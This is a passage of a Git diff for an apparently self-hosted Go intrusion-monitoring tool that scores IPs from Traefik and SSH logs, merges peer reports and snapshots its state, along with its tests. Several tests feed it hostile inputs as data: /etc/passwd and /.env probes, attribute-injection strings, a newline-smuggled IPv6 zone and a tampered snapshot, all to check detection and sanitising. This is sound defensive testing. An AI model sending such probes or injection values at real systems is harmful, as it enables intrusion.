s.Ingest(ev("7.7.7.8", core.BruteForce, time.Minute)) + if d, _ := s.IP("7.7.7.8"); d.Level != core.LevelHostile { + t.Fatalf("two categories: %+v", d) + } + // an attack tool is a strong signal by itself + for i := 0; i < 20; i++ { + e := ev("7.7.7.9", core.Scanner, time.Minute) + e.E.Tool = true + s.Ingest(e) + } + if d, _ := s.IP("7.7.7.9"); d.Level != core.LevelHostile { + t.Fatalf("tool: %+v", d) + } + // the admin: many failed publickeys, but a successful login too + s.Ingest(core.Event{Time: t0.Add(-time.Hour), IP: "9.9.9.1", Cat: core.SSHOK, Source: "ssh", User: "admin"}) + for i := 0; i < 40; i++ { + s.Ingest(core.Event{Time: t0, IP: "9.9.9.1", Cat: core.SSHFail, Source: "ssh", User: "admin"}) + s.Ingest(core.Event{Time: t0, IP: "9.9.9.1", Cat: core.SSHProbe, Source: "ssh"}) + } + d, _ := s.IP("9.9.9.1") + if !d.Admin || d.Level != core.LevelLow { + t.Fatalf("a recent ssh-ok must keep the address out of hostile: %+v", d) + } + if sum := s.Summary("24h"); sum.Totals.HostileIPs != 2 { + t.Fatalf("hostile count %d", sum.Totals.HostileIPs) + } +} + +func TestTrafficDomainSlotsAreNotExhaustedByJunkHosts(t *testing.T) { + s := newStore("x", 100) + for i := 0; i < 30; i++ { + s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: fmt.Sprintf("junk%d.invalid", i), Method: "GET", Path: "/", Status: 404, IP: "2.2.2.2"}) + } + s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: "real.example.com", Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"}) + d := s.TrafficSummary("24h", "all") + if len(d.Domains) != 1 || d.Domains[0].Key != "real.example.com" { + t.Fatalf("domains: %+v", d.Domains) + } + // allowlist + a := newStore("x", 100) + a.SetDomains([]string{"real.example.com", "*.shop.example"}) + for _, dom := range []string{"real.example.com", "x.shop.example", "evil.test"} { + a.Traffic(core.Event{Time: t0, Source: "traefik", Domain: dom, Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"}) + } + if d := a.TrafficSummary("24h", "all"); len(d.Domains) != 2 { + t.Fatalf("allowlist: %+v", d.Domains) + } + // idle domains are pruned + a.now = func() time.Time { return t0.Add(8 * 24 * time.Hour) } + a.Prune() + if len(a.tr.dom) != 0 { + t.Fatalf("idle domains must be pruned: %d", len(a.tr.dom)) + } +} + +func TestNormalizePath(t *testing.T) { + for in, want := range map[string]string{ + "/blog/post": "/blog/post", + "/u/550e8400-e29b-41d4-a716-446655440000/edit": "/u/:id/edit", + "/reset/9f86d081884c7d659a2feaa0c55ad015a3bf4f1b": "/reset/:id", + "/order/20261114123456": "/order/:id", + "/blog/how-to-use-this-long-slug-text-2024": "/blog/how-to-use-this-long-slug-text-2024", + "/v2/items": "/v2/items", + "/token/AbCdEfGh1234567890XyZ": "/token/:id", + } { + if got := normalizePath(in); got != want { + t.Errorf("%s -> %s, want %s", in, got, want) + } + } +} + +func TestTamperedSnapshotCannotBreakTheRing(t *testing.T) { + dir := t.TempDir() + p := filepath.Join(dir, "s.gob") + a := newStore("x", 100) + for i := 0; i < 5; i++ { + a.Ingest(ev("1.2.3.4", core.Exploit, time.Minute)) + } + a.mu.Lock() + a.rhead = 9999 + a.mu.Unlock() + if err := a.Save(p, nil); err != nil { + t.Fatal(err) + } + b := newStore("x", 100) + if _, err := b.Load(p); err != nil { + t.Fatal(err) + } + b.Summary("24h") + b.Recent(10) + b.Ingest(ev("1.2.3.5", core.Exploit, time.Minute)) + if len(b.Recent(10)) == 0 { + t.Fatal("ring unusable") + } +} + +func TestSanitizeRejectsZonesClampsScoresAndWhitelists(t *testing.T) { + e := PeerExport{V: 1} + e.Summary.IPs = []IPSummary{ + {IP: "2001:db8::1%a\n8.8.8.8", Score: 99}, {IP: "fe80::1%eth0", Score: 5}, {IP: "1.2.3.4", Score: 1e300}, + {IP: "1.2.3.5", Score: math.Inf(1)}, {IP: "1.2.3.6", Score: -5}, {IP: "2001:db8:0:5::/64", Score: 3}, + {IP: "2001:db8:0:6::9", Score: 3, Admin: true}, {IP: "1.2.3.7", Score: 9999, Strong: false}, + } + e.Summary.Recent = []FeedEvent{{Cat: "exploit", IP: "1.1.1.1"}, {Cat: `">`, IP: "1.1.1.1"}} + e.Summary.Sources = []SourceStatus{{Name: "traefik", Path: "/data/coolify/proxy/access.log", State: "following"}, {Name: "x", State: "evil\" onload=\""}} + if err := e.Sanitize("24h"); err != nil { + t.Fatal(err) + } + got := map[string]IPSummary{} + for _, x := range e.Summary.IPs { + got[x.IP] = x + } + if _, ok := got["2001:db8::1%a\n8.8.8.8"]; ok || len(got) != 5 { + t.Fatalf("rows kept: %v", got) + } + if got["1.2.3.4"].Score != 1e6 || got["1.2.3.6"].Score != 0 { + t.Fatalf("scores must be clamped to 0..1e6: %+v %+v", got["1.2.3.4"], got["1.2.3.6"]) + } + if got["1.2.3.7"].Level != core.LevelSuspicious { + t.Fatalf("a peer cannot declare hostile without a strong signal: %+v", got["1.2.3.7"]) + } + if _, ok := got["2001:db8:0:5::/64"]; !ok { + t.Fatalf("a /64 key is valid: %v", got) + } + if _, ok := got["2001:db8:0:6::/64"]; !ok || got["2001:db8:0:6::/64"].Level != core.LevelLow { + t.Fatalf("a plain IPv6 is normalized to its /64: %v", got) + } + if len(e.Summary.Recent) != 1 { + t.Fatalf("unknown categories must be dropped: %+v", e.Summary.Recent) + } + for _, src := range e.Summary.Sources { + if src.Path != "" || !validStates[src.State] { + t.Fatalf("source %+v", src) + } + } +} diff --git a/internal/store/mem_test.go b/internal/store/mem_test.go new file mode 100644 index 0000000..f36ea44 --- /dev/null +++ b/internal/store/mem_test.go @@ -0,0 +1,116 @@ +package store + +import ( + "fmt" + "net/netip" + "os" + "path/filepath" + "runtime" + "strings" + "sync" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +func heapMiB() uint64 { + runtime.GC() + var m runtime.MemStats + runtime.ReadMemStats(&m) + return m.HeapAlloc >> 20 +} + +// The reviewer's worst case: 50k IPv6 addresses in distinct /64s, each sending +// 8 distinct maximum-size samples, user agents and domains. The table is capped +// at the default 20k entries and the per-IP text is bounded, so the heap stays +// far below the container limit. +func TestWorstCaseMemoryIsBounded(t *testing.T) { + st := New(Config{Name: "x", Version: "t"}) + h0 := heapMiB() + b := netip.MustParseAddr("2001:db8::").As16() + now := time.Now() + for i := 0; i < 25000; i++ { + a := b + a[6], a[7] = byte(i>>8), byte(i) // distinct /64 + a[15] = 1 + ip := netip.AddrFrom16(a).String() + for k := 0; k < 8; k++ { + st.Ingest(core.Event{Time: now, IP: ip, Cat: core.Scanner, Source: "traefik", Method: "GET", Status: 404, + Domain: fmt.Sprintf("d%d%d.", i, k) + strings.Repeat("x", 90), + Path: fmt.Sprintf("/%d-%d-", i, k) + strings.Repeat("A", 220), + UA: fmt.Sprintf("ua%d-%d", i, k) + strings.Repeat("U", 190)}) + } + } + if n := st.IPCount(); n > 20000 { + t.Fatalf("table over the default cap: %d", n) + } + grew := heapMiB() - h0 + t.Logf("IPs=%d heap growth=%d MiB", st.IPCount(), grew) + if grew > 60 { + t.Fatalf("worst case heap growth %d MiB", grew) + } + runtime.KeepAlive(st) +} + +func TestStoreRaceStress(t *testing.T) { + st := New(Config{Name: "x", MaxIPs: 2000}) + now := time.Now() + var wg sync.WaitGroup + stop := make(chan struct{}) + for g := 0; g < 4; g++ { + wg.Add(1) + go func(g int) { + defer wg.Done() + for i := 0; ; i++ { + select { + case <-stop: + return + default: + } + st.Ingest(core.Event{Time: now, IP: fmt.Sprintf("10.%d.%d.%d", g, i/250%250, i%250), Cat: core.Scanner, Source: "traefik", Path: "/.env", Domain: "d", Method: "GET", UA: "u"}) + st.Traffic(core.Event{Time: now, IP: "2.2.2.2", Cat: core.OK, Source: "traefik", Domain: "d", Method: "GET", Path: "/", Status: 200, UA: "u"}) + st.Monitoring(now) + } + }(g) + } + dir := t.TempDir() + for g := 0; g < 3; g++ { + wg.Add(1) + go func() { + defer wg.Done() + for { + select { + case <-stop: + return + default: + } + st.Summary("24h") + st.AllIPs(ParseRange("7d"), true) + st.Export("24h") + st.Prune() + st.Recent(50) + st.IP("10.0.0.1") + st.Save(filepath.Join(dir, "s.gob"), nil) + st.invalidate() + } + }() + } + ch, cancel := st.Subscribe() + wg.Add(1) + go func() { + defer wg.Done() + for { + select { + case <-stop: + return + case <-ch: + } + } + }() + time.Sleep(1500 * time.Millisecond) + close(stop) + wg.Wait() + cancel() + _ = os.Stdout +} diff --git a/internal/store/merge.go b/internal/store/merge.go new file mode 100644 index 0000000..8b12fde --- /dev/null +++ b/internal/store/merge.go @@ -0,0 +1,185 @@ +package store + +import ( + "sort" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +func unionStrings(a, b []string, max int) []string { + for _, v := range b { + a = addUnique(a, v, max) + } + return a +} + +// MergeIPs merges IP lists by address: scores and counts add up, hosts are +// united, the first/last seen widen, a ban in any host marks the IP banned. +func MergeIPs(lists ...[]IPSummary) []IPSummary { + idx := map[string]*IPSummary{} + var order []string + for _, l := range lists { + for _, x := range l { + cur, ok := idx[x.IP] + if !ok { + c := x + c.Counts = make(map[string]uint32, len(x.Counts)) + for k, v := range x.Counts { + c.Counts[k] = v + } + c.Hosts = append([]string(nil), x.Hosts...) + c.Domains = append([]string(nil), x.Domains...) + c.Samples = append([]string(nil), x.Samples...) + c.UAs = append([]string(nil), x.UAs...) + c.Jails = append([]string(nil), x.Jails...) + c.UALabels = append([]string(nil), x.UALabels...) + idx[x.IP] = &c + order = append(order, x.IP) + continue + } + cur.Score += x.Score + for k, v := range x.Counts { + cur.Counts[k] += v + } + cur.Hosts = unionStrings(cur.Hosts, x.Hosts, 16) + cur.Domains = unionStrings(cur.Domains, x.Domains, 8) + cur.Samples = unionStrings(cur.Samples, x.Samples, 10) + cur.UAs = unionStrings(cur.UAs, x.UAs, 5) + cur.Jails = unionStrings(cur.Jails, x.Jails, 12) + cur.UALabels = unionStrings(cur.UALabels, x.UALabels, 6) + if cur.CC == "" { + cur.CC, cur.Country, cur.City, cur.ASN, cur.ASOrg = x.CC, x.Country, x.City, x.ASN, x.ASOrg + } + if x.First != 0 && (cur.First == 0 || x.First < cur.First) { + cur.First = x.First + } + if x.Last > cur.Last { + cur.Last = x.Last + } + cur.Banned = cur.Banned || x.Banned + cur.Strong, cur.Admin = cur.Strong || x.Strong, cur.Admin || x.Admin + if cur.RDNS == "" { + cur.RDNS = x.RDNS + } + } + } + out := make([]IPSummary, 0, len(order)) + for _, ip := range order { + c := idx[ip] + c.Score = round1(c.Score) + c.Level = core.LevelOf(c.Score, c.Strong, c.Admin) + sort.Strings(c.Hosts) + out = append(out, *c) + } + SortIPs(out, "score", true) + return out +} + +func mergeCounts(n int, lists ...[]Count) []Count { + m := map[string]uint32{} + labels := map[string]string{} + for _, l := range lists { + for _, c := range l { + m[c.Key] += c.N + if c.Label != "" { + labels[c.Key] = c.Label + } + } + } + out := topN(m, n) + for i := range out { + out[i].Label = labels[out[i].Key] + } + return out +} + +// Merge combines summaries of the same range into one. The timeline grids are +// aligned by timestamp, so a peer whose clock is a few seconds off still lines up. +func Merge(host string, parts []Summary) Summary { + if len(parts) == 0 { + return Summary{Host: host} + } + base := parts[0] + out := Summary{Attribution: base.Attribution, Version: base.Version, Host: host, Range: base.Range, Generated: base.Generated, + Timeline: Timeline{Start: base.Timeline.Start, Step: base.Timeline.Step, Cats: base.Timeline.Cats, + Series: map[string][]uint32{}}, + Totals: Totals{Counts: map[string]uint64{}}} + nb := 0 + for _, c := range base.Timeline.Cats { + nb = len(base.Timeline.Series[c]) + out.Timeline.Series[c] = make([]uint32, nb) + } + var ipLists [][]IPSummary + var paths, doms, uas, users, ctry [][]Count + var recent []FeedEvent + for _, p := range parts { + if p.Generated > out.Generated { + out.Generated = p.Generated + } + out.Hosts = append(out.Hosts, p.Hosts...) + out.Sources = append(out.Sources, p.Sources...) + out.Totals.Requests += p.Totals.Requests + out.Totals.Malicious += p.Totals.Malicious + out.Totals.ActiveBans += p.Totals.ActiveBans + out.Totals.Monitoring += p.Totals.Monitoring + for k, v := range p.Totals.Counts { + out.Totals.Counts[k] += v + } + if p.Timeline.Step == out.Timeline.Step { + shift := (p.Timeline.Start - out.Timeline.Start) / out.Timeline.Step + for _, c := range out.Timeline.Cats { + src := p.Timeline.Series[c] + dst := out.Timeline.Series[c] + for i, v := range src { + j := int64(i) + shift + if j >= 0 && j < int64(len(dst)) { + dst[j] += v + } + } + } + } + ipLists = append(ipLists, p.IPs) + paths = append(paths, p.TopPaths) + doms = append(doms, p.TopDomains) + uas = append(uas, p.TopUAs) + users = append(users, p.TopUsers) + ctry = append(ctry, p.Countries) + recent = append(recent, p.Recent...) + } + out.IPs = MergeIPs(ipLists...) + // Peers only ship their top IPs, so the merged list can undercount; never + // report less than the largest single instance, and exact for one part. + hostile, susp := 0, 0 + for _, ip := range out.IPs { + switch ip.Level { + case core.LevelHostile: + hostile++ + case core.LevelSuspicious: + susp++ + } + } + out.Totals.HostileIPs, out.Totals.SuspiciousIPs, out.Totals.UniqueIPs = hostile, susp, len(out.IPs) + for _, p := range parts { + if p.Totals.HostileIPs > out.Totals.HostileIPs { + out.Totals.HostileIPs = p.Totals.HostileIPs + } + if p.Totals.SuspiciousIPs > out.Totals.SuspiciousIPs { + out.Totals.SuspiciousIPs = p.Totals.SuspiciousIPs + } + if p.Totals.UniqueIPs > out.Totals.UniqueIPs { + out.Totals.UniqueIPs = p.Totals.UniqueIPs + } + } + if len(out.IPs) > summaryIPs { + out.IPs = out.IPs[:summaryIPs] + } + out.TopPaths, out.TopDomains = mergeCounts(topKeep, paths...), mergeCounts(topKeep, doms...) + out.TopUAs, out.TopUsers = mergeCounts(topKeep, uas...), mergeCounts(topKeep, users...) + out.Countries = mergeCounts(120, ctry...) + sort.SliceStable(recent, func(i, j int) bool { return recent[i].T > recent[j].T }) + if len(recent) > 60 { + recent = recent[:60] + } + out.Recent = recent + return out +} diff --git a/internal/store/review_test.go b/internal/store/review_test.go new file mode 100644 index 0000000..4fcadef --- /dev/null +++ b/internal/store/review_test.go @@ -0,0 +1,194 @@ +package store + +import ( + "fmt" + "path/filepath" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +func hostile(s *Store, ip string) bool { + for _, x := range s.AllIPs(ParseRange("7d"), false) { + if x.IP == ip && x.Level == core.LevelHostile { + return true + } + } + return false +} + +// A framed browser never reaches hostile; a scanner forging the same headers +// does not disappear either: it is recorded, capped, and shows as suspicious. +func TestCrossSiteFramedRequestsNeverScore(t *testing.T) { + const chrome = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36" + line := func(ip, extra string) core.Event { + l := fmt.Sprintf(`{"ClientHost":%q,"RequestHost":"a.example","RequestMethod":"GET","RequestPath":"/etc/passwd","DownstreamStatus":404,"StartUTC":%q,"request_User-Agent":%q%s}`, + ip, t0.Add(-time.Minute).Format(time.RFC3339), chrome, extra) + e, err := core.ParseTraefik([]byte(l)) + if err != nil { + t.Fatal(err) + } + return e + } + s := newStore("x", 100) + for i := 0; i < 7; i++ { + s.Ingest(line("8.8.4.4", `,"request_Sec-Fetch-Site":"cross-site","request_Sec-Fetch-Dest":"image","request_Referer":"https://evil.example/"`)) + s.Ingest(line("8.8.8.8", "")) + } + if hostile(s, "8.8.4.4") { + t.Fatal("a framed browser must never become hostile") + } + // a scanner forging the headers on 1000 exploits: still visible, capped below hostile + for i := 0; i < 1000; i++ { + s.Ingest(line("9.9.9.9", `,"request_Sec-Fetch-Site":"same-site"`)) + } + d, ok := s.IP("9.9.9.9") + if !ok || hostile(s, "9.9.9.9") || d.Strong || d.Score > framedCap || d.Level != core.LevelSuspicious { + t.Fatalf("forged framing must be recorded as suspicious, never hidden nor hostile: ok=%v %+v", ok, d) + } + if !hostile(s, "8.8.8.8") { + d, _ := s.IP("8.8.8.8") + t.Fatalf("without Sec-Fetch headers it scores as before: %+v", d) + } + if n := s.Summary("24h").Totals.Counts["exploit"]; n != 14+1000 { + t.Fatalf("both count in the timeline: %d", n) + } +} + +func TestOldSnapshotDoesNotLoseDomains(t *testing.T) { + s := newStore("x", 100) + for i := 0; i < 5; i++ { + s.Traffic(core.Event{Time: t0.Add(-time.Hour), Source: "traefik", Domain: "real.example.com", Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"}) + } + for _, d := range s.tr.dom { + d.Last = 0 // what gob decodes from a snapshot of the previous version + } + p := filepath.Join(t.TempDir(), "s.gob") + if err := s.Save(p, nil); err != nil { + t.Fatal(err) + } + b := newStore("x", 100) + if _, err := b.Load(p); err != nil { + t.Fatal(err) + } + if d := b.tr.dom["real.example.com"]; d == nil || d.Last < t0.Add(-time.Hour).Unix() { + t.Fatalf("Last not migrated: %+v", d) + } + b.Prune() + if len(b.tr.dom) != 1 { + t.Fatal("first Prune after an upgrade dropped the domain") + } +} + +func TestRedirectSprayDoesNotTakeDomainSlots(t *testing.T) { + s := newStore("x", 100) + for i := 0; i < 40; i++ { + s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: fmt.Sprintf("junk%d.x", i), Method: "GET", Path: "/", Status: 301, IP: "2.2.2.2"}) + } + s.Traffic(core.Event{Time: t0, Source: "traefik", Domain: "real.example.com", Method: "GET", Path: "/", Status: 200, IP: "2.2.2.2"}) + if _, ok := s.tr.dom["real.example.com"]; !ok || len(s.tr.dom) != 1 { + t.Fatalf("slots: %d", len(s.tr.dom)) + } +} + +func strongExploit(ip string, at time.Time) core.Event { + e := ev(ip, core.Exploit, 0) + e.Time, e.Path, e.Strong = at, "/etc/passwd", true + return e +} + +func TestAdminImmunityIsBoundedAndCancelled(t *testing.T) { + s := newStore("x", 100) + s.SetAdminUsers([]string{"root"}) + // strong attacks after the login cancel the immunity + s.Ingest(core.Event{Time: t0.Add(-2 * time.Hour), IP: "9.9.9.1", Cat: core.SSHOK, Source: "ssh", User: "root"}) + for i := 0; i < 20; i++ { + s.Ingest(strongExploit("9.9.9.1", t0.Add(-time.Hour))) + } + if d, _ := s.IP("9.9.9.1"); d.Admin || !hostile(s, "9.9.9.1") { + t.Fatalf("strong attacks after ssh-ok: %+v", d) + } + // strong attacks before the login keep it + for i := 0; i < 20; i++ { + s.Ingest(strongExploit("9.9.9.2", t0.Add(-3*time.Hour))) + } + s.Ingest(core.Event{Time: t0.Add(-2 * time.Hour), IP: "9.9.9.2", Cat: core.SSHOK, Source: "ssh", User: "root"}) + if d, _ := s.IP("9.9.9.2"); !d.Admin || d.Level != core.LevelLow { + t.Fatalf("login after the attacks: %+v", d) + } + // a login 25 h ago is no longer immune + s.Ingest(core.Event{Time: t0.Add(-25 * time.Hour), IP: "9.9.9.3", Cat: core.SSHOK, Source: "ssh", User: "root"}) + for i := 0; i < 40; i++ { + s.Ingest(core.Event{Time: t0, IP: "9.9.9.3", Cat: core.SSHFail, Source: "ssh", User: "x"}) + s.Ingest(core.Event{Time: t0, IP: "9.9.9.3", Cat: core.SSHProbe, Source: "ssh"}) + } + if d, _ := s.IP("9.9.9.3"); d.Admin || !hostile(s, "9.9.9.3") { + t.Fatalf("ssh-ok 25 h ago: %+v", d) + } +} + +func TestAdminUsersLimitTheImmunity(t *testing.T) { + s := newStore("x", 100) + s.SetAdminUsers([]string{"lucas", " "}) + s.Ingest(core.Event{Time: t0.Add(-time.Hour), IP: "9.9.9.4", Cat: core.SSHOK, Source: "ssh", User: "git"}) + s.Ingest(core.Event{Time: t0.Add(-time.Hour), IP: "9.9.9.5", Cat: core.SSHOK, Source: "ssh", User: "lucas"}) + a, _ := s.IP("9.9.9.4") + b, _ := s.IP("9.9.9.5") + if a.Admin || !b.Admin { + t.Fatalf("admin users: git=%v lucas=%v", a.Admin, b.Admin) + } +} + +func TestPeerCannotGrantAdminOrCheapStrong(t *testing.T) { + e := PeerExport{V: ExportVersion} + e.Summary.IPs = []IPSummary{ + {IP: "1.2.3.4", Score: 999, Strong: true, Admin: true}, + {IP: "1.2.3.5", Score: 10, Strong: true}, + } + if err := e.Sanitize("24h"); err != nil { + t.Fatal(err) + } + got := map[string]IPSummary{} + for _, x := range e.Summary.IPs { + got[x.IP] = x + } + if got["1.2.3.4"].Admin || got["1.2.3.4"].Level != core.LevelHostile { + t.Fatalf("peer admin: %+v", got["1.2.3.4"]) + } + if got["1.2.3.5"].Strong { + t.Fatalf("low score peer strong: %+v", got["1.2.3.5"]) + } + // merged with a local score, the peer's cheap strong no longer tips it to hostile + m := MergeIPs([]IPSummary{{IP: "1.2.3.5", Score: 45}}, []IPSummary{got["1.2.3.5"]}) + if m[0].Level == core.LevelHostile { + t.Fatalf("merge: %+v", m[0]) + } +} + +// Without --admin-users nobody is immune: an sshd "Accepted" line can be forged +// by a local user with logger. +func TestNoAdminImmunityByDefault(t *testing.T) { + s := newStore("x", 100) + s.Ingest(core.Event{Time: t0.Add(-2 * time.Hour), IP: "9.9.9.7", Cat: core.SSHOK, Source: "ssh", User: "root"}) + for i := 0; i < 20; i++ { + s.Ingest(strongExploit("9.9.9.7", t0.Add(-3*time.Hour))) + } + if d, _ := s.IP("9.9.9.7"); d.Admin || !hostile(s, "9.9.9.7") { + t.Fatalf("no admin list means no immunity: %+v", d) + } +} + +// A login in the same second as a strong attack does not shield it. +func TestAdminTieGoesToTheAttack(t *testing.T) { + s := newStore("x", 100) + s.SetAdminUsers([]string{"root"}) + at := t0.Add(-time.Hour) + for i := 0; i < 20; i++ { + s.Ingest(strongExploit("9.9.9.8", at)) + } + s.Ingest(core.Event{Time: at, IP: "9.9.9.8", Cat: core.SSHOK, Source: "ssh", User: "root"}) + if d, _ := s.IP("9.9.9.8"); d.Admin { + t.Fatalf("a tie must not grant immunity: %+v", d) + } +} diff --git a/internal/store/snapshot.go b/internal/store/snapshot.go new file mode 100644 index 0000000..b7d0e3b --- /dev/null +++ b/internal/store/snapshot.go @@ -0,0 +1,125 @@ +package store + +import ( + "bufio" + "encoding/gob" + "errors" + "os" + "path/filepath" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +const snapshotVersion = 1 + +// Offset is a saved read position of a log file. +type Offset struct { + Inode uint64 + Offset int64 + FP uint64 + FPLen int +} + +type snapshot struct { + V int + Saved int64 + Stamps [slots]int64 + Counts [slots][core.NumCats]uint32 + Hours [hourSlots]hourSlot + MonSt [slots]int64 + MonN [slots]uint32 + Dom map[string]*domData + IPs map[string]*IPRec + Recent []FeedEvent + Rhead int + Offsets map[string]Offset +} + +// Save writes the state atomically (tmp + rename). +func (s *Store) Save(path string, offsets map[string]Offset) error { + tmp := path + ".tmp" + f, err := os.OpenFile(tmp, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600) + if err != nil { + return err + } + bw := bufio.NewWriterSize(f, 256*1024) + s.mu.RLock() + snap := snapshot{V: snapshotVersion, Saved: s.now().Unix(), Stamps: s.stamps, Counts: s.counts, Hours: s.hours, MonSt: s.monSt, MonN: s.monN, Dom: s.tr.dom, + IPs: s.ips, Recent: s.recent, Rhead: s.rhead, Offsets: offsets} + err = gob.NewEncoder(bw).Encode(&snap) + s.mu.RUnlock() + if err == nil { + err = bw.Flush() + } + if err == nil { + err = f.Sync() + } + if cerr := f.Close(); err == nil { + err = cerr + } + if err != nil { + os.Remove(tmp) + return err + } + return os.Rename(tmp, path) +} + +// Load restores a snapshot and returns the saved file offsets. A missing file +// is not an error (fresh start). +func (s *Store) Load(path string) (map[string]Offset, error) { + f, err := os.Open(path) + if errors.Is(err, os.ErrNotExist) { + return map[string]Offset{}, nil + } + if err != nil { + return nil, err + } + defer f.Close() + var snap snapshot + if err := gob.NewDecoder(bufio.NewReaderSize(f, 256*1024)).Decode(&snap); err != nil { + return nil, err + } + if snap.V != snapshotVersion { + return nil, errors.New("snapshot version mismatch") + } + s.mu.Lock() + s.stamps, s.counts, s.hours = snap.Stamps, snap.Counts, snap.Hours + s.monSt, s.monN = snap.MonSt, snap.MonN + s.tr.dom = snap.Dom + for _, d := range s.tr.dom { + if d != nil && d.Last == 0 { + // snapshot written before Last existed: never prune on the first pass + d.Last = snap.Saved + for _, h := range d.Hours { + if h.Req > 0 && h.Hour*3600 > d.Last { + d.Last = h.Hour * 3600 + } + } + } + } + s.ips = snap.IPs + if s.ips == nil { + s.ips = map[string]*IPRec{} + } + // a tampered snapshot must not be able to crash the ring or exceed the caps + if len(snap.Recent) > FeedSize { + snap.Recent = snap.Recent[len(snap.Recent)-FeedSize:] + snap.Rhead = 0 + } + if len(snap.Recent) < FeedSize || snap.Rhead < 0 || snap.Rhead >= len(snap.Recent) { + snap.Rhead = 0 + } + s.recent, s.rhead = snap.Recent, snap.Rhead + for len(s.ips) > s.cfg.MaxIPs { + s.evictLocked() + } + s.mu.Unlock() + s.invalidate() + if snap.Offsets == nil { + snap.Offsets = map[string]Offset{} + } + return snap.Offsets, nil +} + +// EnsureDir creates the directory of a snapshot path. +func EnsureDir(path string) error { return os.MkdirAll(filepath.Dir(path), 0o700) } diff --git a/internal/store/store.go b/internal/store/store.go new file mode 100644 index 0000000..27aebcf --- /dev/null +++ b/internal/store/store.go @@ -0,0 +1,562 @@ +// Package store keeps the bounded in-memory aggregates and their snapshots. +package store + +import ( + "net/netip" + "sort" + "strings" + "sync" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +const ( + slots = 7 * 24 * 60 // minute buckets + hourSlots = 7 * 24 + topCap = 64 // entries kept per top-list per hour + maxSample = 4 + maxUAs = 2 + maxDomain = 3 + maxText = 120 // bytes kept per sample, UA or domain of an IP + maxJails = 8 + FeedSize = 500 + maxBans = 5000 +) + +// Config of a Store. +type Config struct { + Name string + Version string + Retention time.Duration + MaxIPs int + // AdminUsers, when not empty, limits the admin immunity to successful SSH + // logins of these users (wired to --admin-users / URUTAU_ADMIN_USERS). + AdminUsers []string +} + +// AdminWindow is how long a successful SSH login keeps an address immune. +const AdminWindow = 24 * time.Hour + +// IPRec is the per-IP aggregate. +type IPRec struct { + First, Last int64 + Counts [core.NumCats]uint32 + Score float64 + Domains []string + Samples []string + UAs []string + Jails []string + BanSince int64 + // Strong: a high confidence signal was seen (attack tool UA, refused exploit, ban). + Strong bool + // SSHOK: unix time of the last successful SSH login from this address (an admin). + SSHOK int64 + // StrongAt: unix time of the last strong signal; one after the last SSHOK + // cancels the admin immunity. + StrongAt int64 + // FramedScore: the part of Score that came from framed requests (bounded by framedCap). + FramedScore float64 +} + +type hourSlot struct { + Hour int64 + Paths, Domains, UAs, Users, Countries map[string]uint32 +} + +// FeedEvent is one entry of the live feed. +type FeedEvent struct { + T int64 `json:"t"` + IP string `json:"ip"` + Cat string `json:"cat"` + Source string `json:"source"` + Host string `json:"host"` + Domain string `json:"domain,omitempty"` + Method string `json:"method,omitempty"` + Path string `json:"path,omitempty"` + User string `json:"user,omitempty"` + Jail string `json:"jail,omitempty"` + Status int `json:"status,omitempty"` + Unban bool `json:"unban,omitempty"` + Forged bool `json:"forged,omitempty"` + CC string `json:"cc,omitempty"` +} + +// SetAttribution sets the credit line shown in the dashboard footer (geo data licence). +func (s *Store) SetAttribution(a string) { s.attrib = a } + +// SetEnricher installs the geo and User-Agent resolver used to decorate IPs on output. +func (s *Store) SetEnricher(e core.Enricher) { s.enr = e } + +// RDNS resolves addresses asynchronously; Lookup never blocks. +type RDNS interface{ Lookup(ip string) string } + +// Store is the whole in-memory state of one instance. +type Store struct { + cfg Config + now func() time.Time + + mu sync.RWMutex + stamps [slots]int64 + counts [slots][core.NumCats]uint32 + hours [hourSlots]hourSlot + monSt [slots]int64 + monN [slots]uint32 + tr trafficState + allow []string + ips map[string]*IPRec + recent []FeedEvent + rhead int + started time.Time + + smu sync.Mutex + subs map[chan FeedEvent]struct{} + + rdns RDNS + enr core.Enricher + attrib string + sources func() []SourceStatus + + cacheMu sync.Mutex + cache map[string]cachedSummary +} + +type cachedSummary struct { + at time.Time + s Summary +} + +// New creates an empty store. +func New(cfg Config) *Store { + if cfg.Retention <= 0 || cfg.Retention > 7*24*time.Hour { + cfg.Retention = 7 * 24 * time.Hour + } + if cfg.MaxIPs <= 0 { + cfg.MaxIPs = 20000 + } + return &Store{cfg: cfg, now: time.Now, ips: make(map[string]*IPRec), subs: map[chan FeedEvent]struct{}{}, + cache: map[string]cachedSummary{}, started: time.Now()} +} + +// Name of this instance. +func (s *Store) Name() string { return s.cfg.Name } + +// SetRDNS installs the reverse DNS resolver. +func (s *Store) SetRDNS(r RDNS) { s.rdns = r } + +// SetSources installs the provider of source status rows. +func (s *Store) SetSources(f func() []SourceStatus) { s.sources = f } + +func bump(m *map[string]uint32, key string) { bumpCap(m, key, topCap) } + +func bumpCap(m *map[string]uint32, key string, capN int) { + if key == "" { + return + } + if *m == nil { + *m = make(map[string]uint32, 8) + } + mm := *m + if _, ok := mm[key]; ok || len(mm) < capN { + mm[key]++ + return + } + // Full: replace the smallest entry (space-saving style) so new heavy hitters can enter. + var minK string + var minV uint32 = ^uint32(0) + for k, v := range mm { + if v < minV { + minK, minV = k, v + } + } + delete(mm, minK) + mm[key] = minV + 1 +} + +func addUnique(list []string, v string, max int) []string { + if v == "" { + return list + } + for _, x := range list { + if x == v { + return list + } + } + if len(list) >= max { + copy(list, list[1:]) + list[len(list)-1] = v + return list + } + return append(list, v) +} + +func sample(ev core.Event) string { + switch ev.Source { + case "traefik": + if ev.Forged { + return ev.Method + " " + ev.Path + " [forged monitor UA]" + } + return ev.Method + " " + ev.Path + case "ssh": + if ev.User != "" { + return "ssh user " + ev.User + } + return 